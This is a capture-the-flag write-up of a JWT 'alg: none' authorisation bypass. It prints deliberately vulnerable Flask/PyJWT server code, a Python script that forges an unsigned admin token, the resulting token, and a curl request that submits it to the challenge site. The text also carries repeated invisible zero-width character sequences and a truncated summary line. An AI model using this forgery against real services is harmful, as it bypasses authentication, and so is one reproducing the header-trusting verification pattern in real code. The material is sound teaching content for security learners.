← Back to Writeups
CUSTOMEasyWeb

No Way JOSE

XESXOR9/2/20264 min read
#web#custom#easy#jwt_alg_none_bypass#cryptographic_doom_principle#jwt_forgery

No Way JOSE

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: jwt_alg_none_bypass, cryptographic_doom_principle, jwt_forgery

Summary

Walkthrough of the CUSTOM Web No Way JOSE. Task: a Flask/PyJWT service authorises sessions by reading the alg field from the attacker-controlled JOSE header before verifying the token signature. Solution: forge a JWT with header alg=none, payl

Description

This challenge is about JWT (JSON Web Token) algorithms. The JOSE header (the first JWT segment) declares the alg used to verify the token, e.g. {"typ":"JWT","alg":"HS256"}. The server must process this untrusted header BEFORE it can verify token integrity — the "REDACTED Doom Principle". Bypass the authorisation and recover the FLAG.

Platform URL: https://web.cryptohack.org/no-way-jose

English summary: A Flask web service issues JWTs for usernames (with admin: false) and exposes an /authorise/<token>/ endpoint that grants the flag if the decoded token contains admin: true. The endpoint reads the alg field straight from the untrusted JOSE header and routes to a code path that disables signature verification when alg == "none". Goal: forge an admin token without knowing SECRET_KEY. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source Code

python
import base64
import json
import jwt  # PyJWT module

SECRET_KEY = ?
FLAG = ?

@chal.route('/no-way-jose/authorise/<token>/')
def authorise(token):
    token_b64 = token.replace('-', '+').replace('_', '/')  # JWTs use base64url encoding
    try:
        header = json.loads(base64.b64decode(token_b64.split('.')[0] + "==="))
    except Exception as e:
        return {"error": str(e)}

    if "alg" in header:
        algorithm = header["alg"]
    else:
        return {"error": "There is no algorithm key in the header"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if algorithm == "HS256":
        try:
            decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        except Exception as e:
            return {"error": str(e)}
    elif algorithm == "none":
        try:
            decoded = jwt.decode(token, algorithms=["none"], options={"verify_signature": False})
        except Exception as e:
            return {"error": str(e)}
    else:
        return {"error": "Cannot decode token"}

    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@chal.route('/no-way-jose/create_session/<username>/')
def create_session(username):
    encoded = jwt.encode({'username': username, 'admin': False}, SECRET_KEY, algorithm='HS256')
    return {"session": encoded}

Analysis

The vulnerability is a textbook JWT alg:none authorization bypass, an illustration of Moxie Marlinspike's Cryptographic Doom Principle: "if you have to perform any cryptographic operation before verifying the MAC on a message you've received, it will somehow inevitably lead to doom." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The authorise endpoint:

  1. base64-decodes and json.loads-parses the first JWT segment — the JOSE header — which is fully attacker-controlled, since it carries no integrity protection on its own.
  2. Branches on header["alg"] before any signature verification.
  3. For alg == "none" it calls jwt.decode(token, algorithms=["none"], options={"verify_signature": False}), which accepts the token's claims without verifying any signature.

Because the server trusts the untrusted header to pick the verification path, an attacker simply declares alg: none, supplies whatever claims they want (admin: true), and skips signing entirely. SECRET_KEY is never needed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This emulates the historic real-world JWT library flaw where the none algorithm — intended for already-integrity-protected transports — was honored during verification, letting anyone strip the signature.

Solution

A JWT is three base64url segments joined by dots: header.payload.signature. For an alg:none token the signature segment is empty, but the trailing dot is mandatory — PyJWT requires three dot-separated parts even when the signature is empty.

Step 1 — Forge the token

python
#!/usr/bin/env python3
import base64, json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def b64(d):
    return base64.urlsafe_b64encode(d).rstrip(b'=').decode()

header  = b64(json.dumps({'typ': 'JWT', 'alg': 'none'}).encode())
payload = b64(json.dumps({'username': 'admin', 'admin': True}).encode())
token   = header + '.' + payload + '.'   # trailing dot = empty signature
print(token)

Resulting token:

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJhZG1pbiI6IHRydWV9.
  • Header decodes to {"typ": "JWT", "alg": "none"} → routes to the none branch.
  • Payload decodes to {"username": "admin", "admin": true} → satisfies the decoded["admin"] check. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Submit to the authorise endpoint

bash
curl -s "https://web.cryptohack.org/no-way-jose/authorise/eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJhZG1pbiI6IHRydWV9./"

Step 3 — Server response

json
{"response":"Welcome admin, here is your flag: crypto{REDACTED}"}

Solved on the first attempt — no brute force, no key recovery. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering jwt_alg_none_bypass, cryptographic_doom_principle, jwt_forgery was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • No Way JOSE • Difficulty: Easy